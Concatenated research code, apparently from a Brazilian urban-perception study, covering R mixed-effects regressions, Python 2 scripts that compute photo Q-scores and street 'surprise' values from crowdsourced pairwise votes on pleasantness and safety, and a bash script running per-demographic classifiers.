age_cat:(scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)) +
gender:(scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)) +
inc_cat:(scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)) + (1|userID), data = the_data, family=binomial() ) )
}else{
return( glmer( choice ~ scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff) + bair_cat +
age_cat:(scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)) +
gender:(scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)) +
inc_cat:(scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)) + (1|userID), data = the_data, family=binomial(), control = glmerControl(optimizer=c(optimizer_to_use) ) ) )#optimizers="bobyqa", "Nelder_Mead"
}
}
seg_random_user <- create_random_model_w_interact(seg, "")
summary(seg_random_user)
cc <- confint(seg_random_user, parm="beta_", level = 0.95, method="boot", nsim=10, parallel="multicore", ncpus=2)#1000
ctab <- cbind(est=fixef(seg_random_user), cc)
rtab <- exp(ctab)
print(">> Safety beta")
print(ctab, digits=3)
print(">> Safety odds ratio")
print(rtab, digits=3)
<file_sep># coding=utf-8
# Calculates photos qscore from a set of tasks execution file
import sys
from sets import Set
import random
import numpy
import json
import csv
import pandas as pd
#import pdb
#photos considered in comparisons
allPhotos = Set([])
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
#possible answers
left = 'Left'
right = 'Right'
notKnown = 'NotKnown'
completeTie = 'equal'
#dictionaries used to save photos comparisons results
winsPhotosPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
lossesPhotosPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
#dictionaries used to save photos win, loss and draw counters
winsPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
lossesPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
drawsPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
def resetCounters():
winsPhotosPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
lossesPhotosPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
winsPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
lossesPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
drawsPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
def saveDraw(photo1, photo2, question):
"""Computing photos comparison when there is no winner."""
draws = drawsPerQuestion[question]
if not draws.has_key(photo1):
draws[photo1] = 0
if not draws.has_key(photo2):
draws[photo2] = 0
draws[photo1] += 1
draws[photo2] += 1
def saveWin(winPhoto, lossPhoto, question):
"""Computing photos comparison when there is a winner."""
#pdb.set_trace()
#Saving that winPhoto won against lossPhoto and updating winPhoto counter
winsPhotosDic = winsPhotosPerQuestion[question]
if not winsPhotosDic.has_key(winPhoto):
winsPhotosDic[winPhoto] = set([])
winsPhotosDic[winPhoto].add(lossPhoto)
winsCounterDic = winsPerQuestion[question]
if not winsCounterDic.has_key(winPhoto):
winsCounterDic[winPhoto] = 0
winsCounterDic[winPhoto] += 1
#Saving that lossPhoto lost against winPhoto and updating lossPhoto counter
lossPhotosDic = lossesPhotosPerQuestion[question]
if not lossPhotosDic.has_key(lossPhoto):
lossPhotosDic[lossPhoto] = set([])
lossPhotosDic[lossPhoto].add(winPhoto)
lossCounterDic = lossesPerQuestion[question]
if not lossCounterDic.has_key(lossPhoto):
lossCounterDic[lossPhoto] = 0
lossCounterDic[lossPhoto] += 1
def calcWiu(photo, question):
"""Computing Wiu component of QScore."""
#pdb.set_trace()
if not winsPerQuestion[question].has_key(photo):
wiu = 0
else:
wiu = winsPerQuestion[question][photo]
if not lossesPerQuestion[question].has_key(photo):
liu = 0
else:
liu = lossesPerQuestion[question][photo]
if not drawsPerQuestion[question].has_key(photo):
tiu = 0
else:
tiu = drawsPerQuestion[question][photo]
#Computing Wi,u
if wiu == 0 and liu == 0 and tiu == 0:
return 0
Wiu = ((1.0*wiu) / (wiu + liu + tiu))
return Wiu
def calcLiu(photo, question):
"""Computing Liu component of QScore."""
if not winsPerQuestion[question].has_key(photo):
wiu = 0
else:
wiu = winsPerQuestion[question][photo]
if not lossesPerQuestion[question].has_key(photo):
liu = 0
else:
liu = lossesPerQuestion[question][photo]
if not drawsPerQuestion[question].has_key(photo):
tiu = 0
else:
tiu = drawsPerQuestion[question][photo]
#Computing Li,u
if wiu == 0 and liu == 0 and tiu == 0:
return 0
Liu = ((1.0*liu) / (wiu + liu + tiu))
return Liu
def computeQScores(allPhotos):
"""Computing qscore of each photo used in experiment."""
output = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
#Calculate Q-Score for each question and each photo
for question in possibleQuestions:
for photo in allPhotos:
#if photo == "floriano_3902.jpg" and question == unique:
#pdb.set_trace()
#if winsPhotosPerQuestion[question].has_key("floriano_3902.jpg"):
# print winsPhotosPerQuestion[beauty]["floriano_3902.jpg"]
Wiu = calcWiu(photo, question)
#Computing factors
if winsPhotosPerQuestion[question].has_key(photo):
niw = len(winsPhotosPerQuestion[question][photo])
fac1 = 0
for photoPreferredOver in winsPhotosPerQuestion[question][photo]:
currentWiu = calcWiu(photoPreferredOver, question)
fac1 += currentWiu
fac1 = (1.0 * fac1) / niw
else:
fac1 = 0
if lossesPhotosPerQuestion[question].has_key(photo):
nil = len(lossesPhotosPerQuestion[question][photo])
fac2 = 0
for photoNotPreferredOver in lossesPhotosPerQuestion[question][photo]:
currentLiu = calcLiu(photoNotPreferredOver, question)
fac2 += currentLiu
fac2 = (1.0 * fac2) / nil
else:
fac2 = 0
#Computing Q-score for photo related to question
if not (winsPhotosPerQuestion[question].has_key(photo) or lossesPhotosPerQuestion[question].has_key(photo) or drawsPerQuestion[question].has_key(photo)):
Qiu = -1#Photo has not participated in any comparison!
else:
Qiu = 10/3.0 * (Wiu + fac1 - fac2 + 1)
output[question][photo] = Qiu
return output
def evaluateFirstVote(lines, outputFileName):
""" Considering only the first vote for each pair of photos """
#pdb.set_trace()
photosAlreadyComputed = {possibleQuestions[0]:set([]), possibleQuestions[1]:set([])}
for line in lines:#Reading from pybossa task-run CSV
lineData = line.split("+")
userAnswer = lineData[9].strip(' \t\n\r"')
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
if not photosAlreadyComputed[question].__contains__(photo1+" "+photo2):
if answer == left:
saveWin(photo1, photo2, question)
elif answer == right:
saveWin(photo2, photo1, question)
elif answer == notKnown:
saveDraw(photo1, photo2, question)
allPhotos.add(photo1)
allPhotos.add(photo2)
photosAlreadyComputed[question].add(photo1+" "+photo2)
output = open(outputFileName, 'w')
outputData = computeQScores(allPhotos)
for question, qDic in outputData.iteritems():
for photo, qscore in qDic.iteritems():
output.write(question.strip(' \t\n\r')+ "\t" + photo.strip(' \t\n\r')+ "\t" + str(qscore)+'\n')
output.close()
def evaluateAllVotes(lines, outputFileName, amountOfSamples, tasksDefinitions, percentOfComparisonsToDeal=1):
""" Considering all votes for each pair of photos and performing a simulation (bootstrap based)"""
votes = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
allQScores = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
allCounts = {possibleQuestions[0]:{}, possibleQuestions[1]:{}} #Computing best-worst scores for maxDiff
#Reading from pybossa task-run CSV
for line in lines:
lineData = line.split("+")
executionID = lineData[0].strip(' \t\n\r"')
taskID = lineData[3].strip(' \t\n\r"')
userAnswer = lineData[9].strip(' \t\n\r"')
#It is a new vote, read tasks definition from JSON!
if executionID[0].lower() == 'n':
data = json.loads(userAnswer)
if data['question'].strip(' \t\n\r"') == "agradavel":
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
photo1 = data['theMost'].strip(' \t\n\r"')
photo2 = data['theLess'].strip(' \t\n\r"')
is_tie = photo1
taskDef = tasksDefinitions[taskID]
photos = Set( [taskDef['url_c'].strip(' \t\n\r"'), taskDef['url_b'].strip(' \t\n\r"'), taskDef['url_a'].strip(' \t\n\r"'), taskDef['url_d'].strip(' \t\n\r"')] )
if is_tie != completeTie:#Review this!
photos.remove(photo1)
photos.remove(photo2)
else:
photo1 = photos.pop()
photo2 = photos.pop()
photo3 = photos.pop()
photo4 = photos.pop()
#Creating votes dictionary
if not votes[question].has_key(photo1):
votes[question][photo1] = {}
if not votes[question][photo1].has_key(photo2):
votes[question][photo1][photo2] = set([])
if not votes[question][photo1].has_key(photo3):
votes[question][photo1][photo3] = set([])
if not votes[question][photo1].has_key(photo4):
votes[question][photo1][photo4] = set([])
if not votes[question].has_key(photo2):
votes[question][photo2] = {}
if not votes[question][photo2].has_key(photo3):
votes[question][photo2][photo3] = set([])
if not votes[question][photo2].has_key(photo4):
votes[question][photo2][photo4] = set([])
if not votes[question].has_key(photo3):
votes[question][photo3] = {}
if not votes[question][photo3].has_key(photo4):
votes[question][photo3][photo4] = set([])
#MaxDiff counters
current_counters = allCounts[question]
if current_counters.has_key(photo1):
counter1_win = current_counters[photo1][0]
counter1_loss = current_counters[photo1][1]
counter1_app = current_counters[photo1][2]
else:
counter1_win = 0
counter1_loss = 0
counter1_app = 0
if current_counters.has_key(photo2):
counter2_win = current_counters[photo2][0]
counter2_loss = current_counters[photo2][1]
counter2_app = current_counters[photo2][2]
else:
counter2_win = 0
counter2_loss = 0
counter2_app = 0
if current_counters.has_key(photo3):
counter3_win = current_counters[photo3][0]
counter3_loss = current_counters[photo3][1]
counter3_app = current_counters[photo3][2]
else:
counter3_win = 0
counter3_loss = 0
counter3_app = 0
if current_counters.has_key(photo4):
counter4_win = current_counters[photo4][0]
counter4_loss = current_counters[photo4][1]
counter4_app = current_counters[photo4][2]
else:
counter4_win = 0
counter4_loss = 0
counter4_app = 0
#Saving votes from task-run
if is_tie != completeTie:
votes[question][photo1][photo2].add(left)
votes[question][photo1][photo3].add(left)
votes[question][photo1][photo4].add(left)
votes[question][photo2][photo3].add(right)
votes[question][photo2][photo4].add(right)
votes[question][photo3][photo4].add(notKnown)
current_counters[photo1] = [counter1_win+1, counter1_loss, counter1_app+1]
current_counters[photo2] = [counter2_win, counter2_loss+1, counter2_app+1]
current_counters[photo3] = [counter3_win, counter3_loss, counter3_app+1]
current_counters[photo4] = [counter4_win, counter4_loss, counter4_app+1]
else:
votes[question][photo1][photo2].add(notKnown)
votes[question][photo1][photo3].add(notKnown)
votes[question][photo1][photo4].add(notKnown)
votes[question][photo2][photo3].add(notKnown)
votes[question][photo2][photo4].add(notKnown)
votes[question][photo3][photo4].add(notKnown)
current_counters[photo1] = [counter1_win, counter1_loss, counter1_app+1]
current_counters[photo2] = [counter2_win, counter2_loss, counter2_app+1]
current_counters[photo3] = [counter3_win, counter3_loss, counter3_app+1]
current_counters[photo4] = [counter4_win, counter4_loss, counter4_app+1]
allCounts[question] = current_counters
allPhotos.add(photo1)
allPhotos.add(photo2)
allPhotos.add(photo3)
allPhotos.add(photo4)
else:#Old-fashioned way of capturing votes
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
#MaxDiff counters
current_counters = allCounts[question]
if current_counters.has_key(photo1):
counter1_win = current_counters[photo1][0]
counter1_loss = current_counters[photo1][1]
counter1_app = current_counters[photo1][2]
else:
counter1_win = 0
counter1_loss = 0
counter1_app = 0
if current_counters.has_key(photo2):
counter2_win = current_counters[photo2][0]
counter2_loss = current_counters[photo2][1]
counter2_app = current_counters[photo2][2]
else:
counter2_win = 0
counter2_loss = 0
counter2_app = 0
#Creating votes dictionary
if not votes[question].has_key(photo1):
votes[question][photo1] = {}
if not votes[question][photo1].has_key(photo2):
votes[question][photo1][photo2] = set([])
#Saving votes from task-run
votes[question][photo1][photo2].add(answer)
#Computing maxdiff counters
if answer == left:
current_counters[photo1] = [counter1_win+1, counter1_loss, counter1_app+1]
current_counters[photo2] = [counter2_win, counter2_loss+1, counter2_app+1]
elif answer == right:
current_counters[photo1] = [counter1_win, counter1_loss+1, counter1_app+1]
current_counters[photo2] = [counter2_win+1, counter2_loss, counter2_app+1]
else:
current_counters[photo1] = [counter1_win, counter1_loss, counter1_app+1]
current_counters[photo2] = [counter2_win, counter2_loss, counter2_app+1]
allCounts[question] = current_counters
allPhotos.add(photo1)
allPhotos.add(photo2)
#print str(len(allPhotos))
#print str(len(votes[possibleQuestions[0]]))
#print str(len(votes[possibleQuestions[1]]))
#Evaluating votes in order to choose winning photos or ties
for i in range(0, amountOfSamples):
resetCounters()
for question, qDic in votes.iteritems():
for photo1, photosDic in qDic.iteritems():
value = random.random()
if value <= percentOfComparisonsToDeal:
for photo2, votesList in photosDic.iteritems():
answer = random.sample(votesList, 1)[0]#Generating answer to consider
if answer == left:
saveWin(photo1, photo2, question)
elif answer == right:
saveWin(photo2, photo1, question)
elif answer == notKnown:
saveDraw(photo1, photo2, question)
qscores = computeQScores(allPhotos)
for question, qDic in qscores.iteritems():
for photo, qscore in qDic.iteritems():
if not allQScores[question].has_key(photo):
allQScores[question][photo] = []
allQScores[question][photo].append(qscore)
#Output file
output = open(outputFileName, 'w')
for question, qDic in allQScores.iteritems():
for photo, qscoreList in qDic.iteritems():
output.write(question.strip(' \t\n\r')+ "\t" + photo.strip(' \t\n\r')+ "\t" + str(numpy.mean(qscoreList))+"\t" + str(qscoreList).strip("[ ]").replace(",", "\t")+'\n')
output.close()
#Computing best-worst scores for maxDiff
output = open(outputFileName+"-maxdiff", 'w')
for question, qDic in allCounts.iteritems():
for photo, photo_counters in qDic.iteritems():
win_counter = photo_counters[0]
loss_counter = photo_counters[1]
app_counter = photo_counters[2]
output.write(question.strip(' \t\n\r')+ "\t" + photo.strip(' \t\n\r')+ "\t" + str((win_counter - loss_counter)*1.0/app_counter) +'\n')
output.close()
def evaluateAllVotesPredicted(data_wodraw, data_draws, outputFileName, amountOfSamples):
""" Considering all predicted (classifiers) votes from wodraw and 3 classes files for each pair of photos and performing a simulation (bootstrap based)"""
votes = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
allQScores = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
#Reading data without draws
for index, row in data_wodraw.iterrows():
raw_answer = row['prediction']
if raw_answer == 1:#-1 mapped to 1, 1 mapped to 0
answer = left
else:
answer = right
raw_question = row['question'].strip(' \t\n\r"')
photo1 = row['photo1'].strip(' \t\n\r"')
photo2 = row['photo2'].strip(' \t\n\r"')
if "agrad" in raw_question:
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
#Creating votes dictionary
if not votes[question].has_key(photo1):
votes[question][photo1] = {}
if not votes[question][photo1].has_key(photo2):
votes[question][photo1][photo2] = set([])
#Saving votes from task-run
votes[question][photo1][photo2].add(answer)
allPhotos.add(photo1)
allPhotos.add(photo2)
#Reading data with draws
#for index, row in data_draws.iterrows():
#
# answer = notKnown
#
# quest = row['question'].strip(' \t\n\r"')
# photo1 = row['photo1'].strip(' \t\n\r"')
# photo2 = row['photo2'].strip(' \t\n\r"')
#
# if "agrad" in quest:
# question = possibleQuestions[0]
# else:
# question = possibleQuestions[1]
#
# #Creating votes dictionary
# if not votes[question].has_key(photo1):
# votes[question][photo1] = {}
# if not votes[question][photo1].has_key(photo2):
# votes[question][photo1][photo2] = set([])
#
# #Saving votes from task-run
# votes[question][photo1][photo2].add(answer)
#
# allPhotos.add(photo1)
# allPhotos.add(photo2)
#Evaluating votes in order to choose winning photos or ties
for i in range(0, amountOfSamples):
resetCounters()
for question, qDic in votes.iteritems():
for photo1, photosDic in qDic.iteritems():
for photo2, votesList in photosDic.iteritems():
answer = random.sample(votesList, 1)[0]#Generating answer to consider
if answer == left:
saveWin(photo1, photo2, question)
elif answer == right:
saveWin(photo2, photo1, question)
elif answer == notKnown:
saveDraw(photo1, photo2, question)
qscores = computeQScores(allPhotos)
for question, qDic in qscores.iteritems():
for photo, qscore in qDic.iteritems():
if not allQScores[question].has_key(photo):
allQScores[question][photo] = []
allQScores[question][photo].append(qscore)
#Output file
output = open(outputFileName, 'w')
for question, qDic in allQScores.iteritems():
for photo, qscoreList in qDic.iteritems():
output.write( question.strip(' \t\n\r')+ "\t" + photo.strip(' \t\n\r')+ "\t" + str(numpy.mean(qscoreList))+"\t" + str(qscoreList).strip("[ ]").replace(",", "\t")+'\n' )
output.close()
def evaluateVotesStreetSeen(lines, outputFileName):
""" Considering all votes for each pair of photos"""
votes = {possibleQuestions[1]:{}}
allQScores = {possibleQuestions[1]:{}}
#Reading from streetseen task-run CSV
index = 0
for line in lines:
if index > 0:
question = possibleQuestions[1]
preferredPhoto = line[13]
notPreferredPhoto = line[20]
#Creating votes dictionary
if not votes[question].has_key(preferredPhoto):
votes[question][preferredPhoto] = {}
if not votes[question][preferredPhoto].has_key(notPreferredPhoto):
votes[question][preferredPhoto][notPreferredPhoto] = set([])
#Saving votes from task-run
votes[question][preferredPhoto][notPreferredPhoto].add(left)
allPhotos.add(preferredPhoto)
allPhotos.add(notPreferredPhoto)
index = index + 1
#print "All photos " + str(len(allPhotos))
#differentTasks = 0
#Evaluating votes in order to choose winning photos or ties
for i in range(0, amountOfSamples):
resetCounters()
for question, qDic in votes.iteritems():
for photo1, photosDic in qDic.iteritems():
#print ">>>> KEY: " + photo1 + " " + str(len(photosDic.keys()))
for photo2, votesList in photosDic.iteritems():
answer = random.sample(votesList, 1)[0]#Generating answer to consider
#if votes.has_key(photo2):
# if not votes[photo2].has_key(photo1):
# differentTasks = differentTasks + 1
#else:
# differentTasks = differentTasks + 1
if answer == left:
saveWin(photo1, photo2, question)
elif answer == right:
saveWin(photo2, photo1, question)
elif answer == notKnown:
saveDraw(photo1, photo2, question)
qscores = computeQScores(allPhotos)
for question, qDic in qscores.iteritems():
if question == possibleQuestions[1]:
for photo, qscore in qDic.iteritems():
if not allQScores[question].has_key(photo):
allQScores[question][photo] = []
allQScores[question][photo].append(qscore)
#print "Different tasks " + str(differentTasks)
#Output file
output = open(outputFileName, 'w')
for question, qDic in allQScores.iteritems():
for photo, qscoreList in qDic.iteritems():
output.write(question.strip(' \t\n\r')+ "\t" + photo.strip(' \t\n\r')+ "\t" + str(numpy.mean(qscoreList))+"\t" + str(qscoreList).strip("[ ]").replace(",", " ")+'\n')
output.close()
def evaluateVotePerIteration(lines, outputFileNames):
""" Considering votes per replica iteration for each pair of photos"""
votes = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
votesUsers = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
allQScores = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
#Reading from pybossa task-run CSV
for iteration in range(0, 3):
resetCounters()
for line in lines:
lineData = line.split("+")
userID = lineData[4]
userAnswer = lineData[9].strip(' \t\n\r"')
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
#Creating votes dictionary
if not votes[question].has_key(photo1):
votes[question][photo1] = {}
if not votes[question][photo1].has_key(photo2):
votes[question][photo1][photo2] = 0
#Creating users control dictionary
if not votesUsers[question].has_key(photo1):
votesUsers[question][photo1] = Set([])
if not votesUsers[question].has_key(photo2):
votesUsers[question][photo2] = Set([])
if (iteration == 0 and votes[question][photo1][photo2] == 0) or (iteration == 1 and votes[question][photo1][photo2] == 1) or (iteration == 2 and votes[question][photo1][photo2] == 2):
if answer == left:
saveWin(photo1, photo2, question)
elif answer == right:
saveWin(photo2, photo1, question)
elif answer == notKnown:
saveDraw(photo1, photo2, question)
allPhotos.add(photo1)
allPhotos.add(photo2)
votes[question][photo1][photo2] += 1
votesUsers[question][photo1].add(userID)
votesUsers[question][photo2].add(userID)
qscores = computeQScores(allPhotos)
for question, qDic in qscores.iteritems():
for photo, qscore in qDic.iteritems():
if not allQScores[question].has_key(photo):
allQScores[question][photo] = []
allQScores[question][photo].append(qscore)
#??? Como colocar userID + profile se cada QScore é computador com base em várias opiniões? Já colocar o binário por perfil?
#Output file
output = open(outputFileNames[iteration], 'w')
for question, qDic in allQScores.iteritems():
for photo, qscoreList in qDic.iteritems():
output.write(question.strip(' \t\n\r')+ "\t" + photo.strip(' \t\n\r')+ "\t" + str(qscoreList[0])+"\t" + str(votesUsers[question][photo]).strip("Set( )").strip("[ ]").replace(",", "\t").replace("'", "")+'\n')
output.close()
def readTasksDefinitions(linesTasks):
tasksDef = {}
for line in linesTasks:
data = line.split("+")
taskID = data[0].strip(' \t\n\r')
currentDef = json.loads(data[7].strip(' \t\n\r\"'))
tasksDef[taskID] = currentDef
return tasksDef
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com execuções das tarefas> <# bootstrap samples - used in all votes> <tasks definition - V2> <project type: campina, streetseen or pred-campina>"
sys.exit(1)
if len(sys.argv) > 3:
amountOfSamples = int(sys.argv[2])
if len(sys.argv) > 4:
projectType = sys.argv[4]
else:
projectType = "campina"
if projectType == "campina":
dataFile = open(sys.argv[1], 'r')
tasksFile = open(sys.argv[3], 'r')
lines = dataFile.readlines()
linesTasks = tasksFile.readlines()
#evaluateFirstVote(lines, "first.dat")
evaluateAllVotes(lines, "all.dat", amountOfSamples, readTasksDefinitions(linesTasks), 1)
#evaluateVotePerIteration(lines, ["qscoresPerIteration0.dat", "qscoresPerIteration1.dat", "qscoresPerIteration2.dat"])
dataFile.close()
elif projectType == "streetseen":
lines = csv.reader(open(sys.argv[1], 'r'))
evaluateVotesStreetSeen(lines, "all_street_seen.dat")
else:
data_wodraw = pd.read_table(sys.argv[1], sep='\s+', encoding='utf8', header=0)#wodraw sep="\s+", header=0
data_3classes = pd.read_table(sys.argv[3], sep='\t', encoding='utf8', header=0)#3classes
draws = data_3classes[(data_3classes.choice == 0)]
evaluateAllVotesPredicted(data_wodraw, draws, "all_predicted.dat", amountOfSamples)
<file_sep>#!/bin/bash
input_file=$1
#for input_file in classifier_input_wodraw.dat ; do
#classifier_input_lnl.dat classifier_input_rnr.dat ; do
echo "Arquivo de entrada ${input_file}"
outputSpec=''
if [ ${input_file} == 'classifier_input_lnl.dat' ] ; then
outputSpec='lnl'
elif [ ${input_file} == 'classifier_input_rnr.dat' ] ; then
outputSpec='rnr'
elif [ ${input_file} == 'classifier_input_wodraw.dat' ] ; then
outputSpec='wodraw'
else
outputSpec='3classes'
fi
echo "#### Leave User out with other groups properties in input and mean classif config ####" >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
echo ">> Masculino" >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
python classify.py ${input_file} train-user-out gender-masculino >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
echo ">> Feminino" >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
python classify.py ${input_file} train-user-out gender-feminino >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
echo ">> Jovem" >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
python classify.py ${input_file} train-user-out age-jovem >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
echo ">> Adulto" >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
python classify.py ${input_file} train-user-out age-adulto >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
echo ">> Baixa" >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
python classify.py ${input_file} train-user-out income-baixa >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
echo ">> Media" >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
python classify.py ${input_file} train-user-out income-media >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
echo ">> Solteiro" >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
python classify.py ${input_file} train-user-out marital-solteiro >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
echo ">> Casado" >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
python classify.py ${input_file} train-user-out marital-casado >> classifier_output_groups_userout_w_user_features_${outputSpec}.dat
#done
<file_sep># coding=utf-8
# Calculates surprise values according to street scores
import sys
from sets import Set
import random
import numpy
import json
import csv
import pandas as pd
import numpy as np
import scipy.stats
def average_num(prop, i):
#Average scores for current street point.
sum = 0
n = 0
int_part = i/4
for i in range(int_part * 4, (int_part+1) * 4):
sum = sum + data[prop][i]
n = n + 1
return sum/n
def median_num(prop, i):
#Median score for current street point.
current_values = []
int_part = i/4
for i in range(int_part * 4, (int_part+1) * 4):
current_values.append(data[prop][i]);
return np.median(current_values)
def average_street(prop, num_of_points):
#Average scores for current street.
sum = 0
n = 0
for i in range(0, num_of_points):
sum = sum + data[prop][i]
n = n + 1
return sum/n
def sumU_num(prop, i):
#Sum scores for current street.
sum = 0
int_part = i/4
for i in range(int_part * 4, (int_part+1) * 4):
sum = sum + data[prop][i]
return sum
def sumU_street(prop, num_of_points):
#Sum scores for current street.
sum = 0
for i in range(0, num_of_points):
sum = sum + data[prop][i]
return sum
def KL(pmd,pm):
return pmd * (np.log(pmd / pm) / np.log(2))
def deMoivre_funnel(all_points):
std_error = np.std(all_points) / np.sqrt(len(all_points))
def calcSurprise(num_of_points, street_sizes, all_uniform_pM, all_base_pM, all_normal_pM):
uniform_data = {}
surprise_data = {}
base_data = {}
for prop in data:
street_size = street_sizes[prop]
surprise_data[prop] = [-999 for x in range(street_size)]
uniform_data[prop] = [-999 for x in range(street_size)]
base_data[prop] = [-999 for x in range(street_size)]
#Start with equiprobably P(M)s: Uniform, base rate, normal
#Initially, everything is equiprobable.
#if len(all_uniform_pM) == 0:
pMs = [(1.0/3),(1.0/3),(1.0/3)]
#else:
# pMs = [all_uniform_pM[-1], all_base_pM[-1], all_normal_pM[-1]]
uniform_pM = [pMs[0]]
base_rate_pM = [pMs[1]]
normal_pM = [pMs[2]]
pDMs = [0,0,0]
pMDs = [0,0,0]
avg = 0
total = 0
normal_fit = {"all" : [4.68814353, 0.64067694], u'R._Cristina_Proc\xf3pio_Silva' : [4.97966875, 0.71104919], u'R._Maciel_Pinheiro' : [4.77777896, 0.22856043], u'R._In\xe1cio_Marqu\xeas_da_Silva': [4.71353096, 0.54189458], u'R._Manoel_Pereira_de_Ara\xfajo': [3.67248457, 0.18353610], u'Av._Mal._Floriano_Peixoto': [ 4.95739065, 0.32222894], u'R._Ed\xe9sio_Silva': [4.71109467, 0.46001726], u'Av_Aprigio_Veloso': [4.51102784, 0.73482458]}
#Bayesian surprise is the KL divergence from prior to posterior
kl = 0
diffs = [0,0,0]
sum_diffs = [0,0,0]
#Integration using python (for De moivre) - https://docs.scipy.org/doc/scipy/reference/tutorial/integrate.html
streets = data.keys()
random.shuffle(streets)
#for prop in streets:
for street_index in range(0, len(streets)):
prop = streets[street_index]
sum_diffs = [0,0,0]
street_size = street_sizes[prop]
norm_estimate = -1
for i in range(0, street_size):
if i % 4 == 0:
norm_data = normal_fit[prop]#prop
norm_estimate = np.random.normal(loc=norm_data[0], scale=norm_data[1])
#Calculate per street surprise
avg_street = average_street(prop, street_size)#For whole street
total_street = sumU_street(prop, street_size)
avg_num = average_num(prop, i)#median_num;//For current point
total_num = sumU_num(prop, i)
#Estimate P(D|M) as 1 - |O - E|
#uniform
diffs[0] = ((data[prop][i]/total_street) - (avg_street/total_street))
pDMs[0] = 1 - abs(diffs[0])
#Average per num
diffs[1] = ((data[prop][i]/total_street) - (avg_num/total_street))
pDMs[1] = 1 - abs(diffs[1])
#normal
diffs[2] = ((data[prop][i]/total_street) - (norm_estimate/total_street))
pDMs[2] = 1 - abs(diffs[2])
